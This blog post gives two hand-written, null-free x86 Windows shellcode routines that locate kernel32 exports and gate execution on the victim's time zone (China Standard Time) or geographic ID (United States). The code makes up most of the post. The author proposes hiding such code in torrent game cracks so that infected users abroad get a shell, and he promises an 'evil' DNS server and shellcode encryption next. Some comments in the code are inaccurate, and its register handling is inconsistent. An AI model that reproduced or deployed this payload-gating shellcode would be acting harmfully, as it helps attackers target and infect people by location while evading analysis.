A Shellcode Idea

Maybe we’re all a little black hat at times – you have to bend the rules to get things done sometimes.
I thought of a couple kinds of shellcode – basically checking to see if the user is in a particular country or timezone.
The concept of weaponizing shellcode is nothing new. This is just more fuel for the fire.

Since whenever I think of something, code doesn’t exist, it is once again up to Joe to make the code exist.

The following is for x86 Windows. No nulls either!

      .486
      .model flat, stdcall
      option casemap :none
      ASSUME FS:NOTHING
      .code
start:
        
        push ebx
        push ecx
        push edx
        push esi
        push edi
		xor eax,eax

	; Establish a new stack frame
	push ebp
	mov ebp, esp
	mov ax,2224
	
	sub esp, eax 			; Allocate memory on stack for local variables
	xor eax,eax
	push eax 
	; push the function name on the stack
	xor esi, esi
	push esi			; null termination
	push 6e6f6974h
	push 616d726fh
	push 666e4965h
	push 6E6F5a65h
	push 6d695474h
	pushw 6547h; var4 = "GetTimeZoneInformation\x00"
	mov [ebp-4], esp 		
	push ax ; push 2 bytes to stack to maintain 4 byte alignment 
	; Find kernel32.dll base address
	;xor esi, esi			; esi is already 0, no need to xor
    mov ebx, dword ptr fs:[30h + esi]  	; written this way to avoid null bytes
	mov ebx, [ebx + 12] 
	mov ebx, [ebx + 20] 
	mov ebx, [ebx]	
	mov ebx, [ebx]	
	mov ebx, [ebx + 16]		; ebx holds kernel32.dll base address
	mov [ebp-8], ebx 		; var8 = kernel32.dll base address

	; Find WinExec address
	mov eax, [ebx + 3Ch]		; RVA of PE signature
	add eax, ebx       		; Address of PE signature = base address + RVA of PE signature
	mov eax, [eax + 78h]		; RVA of Export Table
	add eax, ebx 			; Address of Export Table

	mov ecx, [eax + 24h]		; RVA of Ordinal Table
	add ecx, ebx 			; Address of Ordinal Table
	mov [ebp-0Ch], ecx 		; var12 = Address of Ordinal Table

	mov edi, [eax + 20h] 		; RVA of Name Pointer Table
	add edi, ebx 			; Address of Name Pointer Table
	mov [ebp-10h], edi 		; var16 = Address of Name Pointer Table

	mov edx, [eax + 1Ch] 		; RVA of Address Table
	add edx, ebx 			; Address of Address Table
	mov [ebp-14h], edx 		; var20 = Address of Address Table

	mov edx, [eax + 14h] 		; Number of exported functions

	xor eax, eax 			; counter = 0

	myloop:
	        mov edi, [ebp-10h] 	; edi = var16 = Address of Name Pointer Table
	        mov esi, [ebp-4] 	; esi = var4 = "GetTimeZoneInformation\x00"
	        xor ecx, ecx

	        cld  			; set DF=0 => process strings from left to right
	        mov edi, [edi + eax*4]	; Entries in Name Pointer Table are 4 bytes long
	        			; edi = RVA Nth entry = Address of Name Table * 4
	        add edi, ebx       	; edi = address of string = base address + RVA Nth entry
	        add cx, 23 		; Length of strings to compare (len('GetTimeZoneInformation') = 23)
	        repe cmpsb        	; Compare the first 8 bytes of strings in 
	        			; esi and edi registers. ZF=1 if equal, ZF=0 if not
	        jz found

	        inc eax 		; counter++
	        cmp eax, edx    	; check if last function is reached
	        jb myloop 		; if not the last -> loop

	        mov ax,2224
			add esp, eax		; clear the stack      		
	        ret 		; if function is not found, return

	found:
		; the counter (eax) now holds the position of WinExec

	        mov ecx, [ebp-0Ch]	; ecx = var12 = Address of Ordinal Table
	        mov edx, [ebp-14h]  	; edx = var20 = Address of Address Table

	        mov ax, [ecx + eax*2] 	; ax = ordinal number = var12 + (counter * 2)
	        mov eax, [edx + eax*4] 	; eax = RVA of function = var20 + (ordinal * 4)
	        add eax, ebx 		; eax = address of func = 
	        			; = kernel32.dll base address + RVA of func

	        xor edx, edx
		lea esi,dword ptr ss:[ebp-172] ;0xAC or 172 decimal is the size of the timezone structure 
		push esi
		call eax 		; GetTimeZoneInformation 
		lea esi,dword ptr ss:[ebp-168]; A8 is the tz.StandardName
	
	
mov byte ptr ss:[ebp-40],43h
mov byte ptr ss:[ebp-38],68h
mov byte ptr ss:[ebp-36],69h
mov byte ptr ss:[ebp-34],6Eh
mov byte ptr ss:[ebp-32],61h
mov byte ptr ss:[ebp-30],20h
mov byte ptr ss:[ebp-28],53h
mov byte ptr ss:[ebp-26],74h
mov byte ptr ss:[ebp-24],61h
mov byte ptr ss:[ebp-22],6Eh
mov byte ptr ss:[ebp-20],64h
mov byte ptr ss:[ebp-18],61h
mov byte ptr ss:[ebp-16],72h
mov byte ptr ss:[ebp-14],64h
mov byte ptr ss:[ebp-12],20h
mov byte ptr ss:[ebp-10],54h
mov byte ptr ss:[ebp-8],69h
mov byte ptr ss:[ebp-6],6Dh
mov byte ptr ss:[ebp-4],65h
xor eax,eax                       
mov dword ptr ss:[ebp-2],eax
;no nulls now!
	;lea eax,[ebp-40] ; 28h is the stored string we made
	;invoke MessageBoxW,0,eax,eax,0

lea ecx,dword ptr ss:[ebp-168]
lea ebx,dword ptr ss:[ebp-40]
wehaveawinner:
mov ax,word ptr ss:[ecx]
cmp ax,word ptr ss:[ebx]
jne nomatch
add ecx,2
add ebx,2
test ax,ax
jne wehaveawinner
push ebx
ret 
nomatch:
		mov ax,2224
		add esp, eax		; clear the stack
		pop ebp 		; restore all registers and exit
		pop edi
		pop esi
		pop edx
		pop ecx
		pop ebx
		pop eax
		pop esp
		ret

end start

Fits snugly in there.

If you were really evil, you could backdoor torrent files with this code so it only runs in certain countries. Say you backdoor the program to only work outside of the US of A, then distribute it on torrent sites as a crack for some game, piggybacking on some other crack? Everyone in the States has no problem. Everywhere else? Shell city!

I talked about just that here.

This next one checks the GeoID. Again, no shellcode exists on MSF, so we roll our own.

      .486
      .model flat, stdcall
      option casemap :none
      ASSUME FS:NOTHING
      .code
start:
        push eax ; Save all registers
        push ebx
        push ecx
        push edx
        push esi
        push edi
        push ebp

	; Establish a new stack frame
	push ebp
	mov ebp, esp

	sub esp, 79h 			; Allocate memory on stack for local variables

	; push the function name on the stack
	xor esi, esi
	push esi			; null termination
	pushw 4449h
	pushw 6f65h
	push 47726573h
	push 55746547h
	mov [ebp-4], esp 		; swapped to GetUserGeoID

	; Find kernel32.dll base address
	xor esi, esi			; esi = 0
    mov ebx, dword ptr fs:[30h + esi]  	; written this way to avoid null bytes
	mov ebx, [ebx + 12] 
	mov ebx, [ebx + 20] 
	mov ebx, [ebx]	
	mov ebx, [ebx]	
	mov ebx, [ebx + 16]		; ebx holds kernel32.dll base address
	mov [ebp-8], ebx 		; var8 = kernel32.dll base address

	; Find WinExec address
	mov eax, [ebx + 3Ch]		; RVA of PE signature
	add eax, ebx       		; Address of PE signature = base address + RVA of PE signature
	mov eax, [eax + 78h]		; RVA of Export Table
	add eax, ebx 			; Address of Export Table

	mov ecx, [eax + 24h]		; RVA of Ordinal Table
	add ecx, ebx 			; Address of Ordinal Table
	mov [ebp-0Ch], ecx 		; var12 = Address of Ordinal Table

	mov edi, [eax + 20h] 		; RVA of Name Pointer Table
	add edi, ebx 			; Address of Name Pointer Table
	mov [ebp-10h], edi 		; var16 = Address of Name Pointer Table

	mov edx, [eax + 1Ch] 		; RVA of Address Table
	add edx, ebx 			; Address of Address Table
	mov [ebp-14h], edx 		; var20 = Address of Address Table

	mov edx, [eax + 14h] 		; Number of exported functions

	xor eax, eax 			; counter = 0

	myloop:
	        mov edi, [ebp-10h] 	; edi = var16 = Address of Name Pointer Table
	        mov esi, [ebp-4] 	; esi = var4 = "GetUserGeoID\x00"
	        xor ecx, ecx

	        cld  			; set DF=0 => process strings from left to right
	        mov edi, [edi + eax*4]	; Entries in Name Pointer Table are 4 bytes long
	        			; edi = RVA Nth entry = Address of Name Table * 4
	        add edi, ebx       	; edi = address of string = base address + RVA Nth entry
	        add cx, 13 		; Length of strings to compare (len('GetUserGeoID') = 23)
	        repe cmpsb        	; Compare the first 8 bytes of strings in 
	        			; esi and edi registers. ZF=1 if equal, ZF=0 if not
	        jz found

	        inc eax 		; counter++
	        cmp eax, edx    	; check if last function is reached
	        jb myloop 		; if not the last -> loop

	        add esp, 26h      		
	        jmp myend 		; if function is not found, jump to end

	found:
		; the counter (eax) now holds the position of WinExec

	        mov ecx, [ebp-0Ch]	; ecx = var12 = Address of Ordinal Table
	        mov edx, [ebp-14h]  	; edx = var20 = Address of Address Table

	        mov ax, [ecx + eax*2] 	; ax = ordinal number = var12 + (counter * 2)
	        mov eax, [edx + eax*4] 	; eax = RVA of function = var20 + (ordinal * 4)
	        add eax, ebx 	; eax = address of GetUserGeoID = 
	        		; = kernel32.dll base address + RVA of GetUserGeoID

	        xor edx, edx
		
		push 10h  		; only needs 1 param
		call eax 		; GetUserGeoID
		cmp al,244		; america, fuck yeah!
		je notfound
		db 235			; EB FE
		db 254
		notfound:
		
		add esp, 79h;46h		; clear the stack

	myend:
		
		pop ebp 		; restore all registers and exit
		pop edi
		pop esi
		pop edx
		pop ecx
		pop ebx
		pop eax
		pop esp
		ret

end start

As you can see, if I can figure it out, anyone can.

This was a quick and easy writeup. I have more crap to cover still – stuff like rolling my own shellcode encryption, running your own (evil) DNS server, playing with race conditions on windows and perhaps weaponizing / making use of the aforementioned shellcode for more hilarious (or evil?) purposes. More to come soon.

Stay tuned!

Leave a Reply

Your email address will not be published.

This site uses Akismet to reduce spam. Learn how your comment data is processed.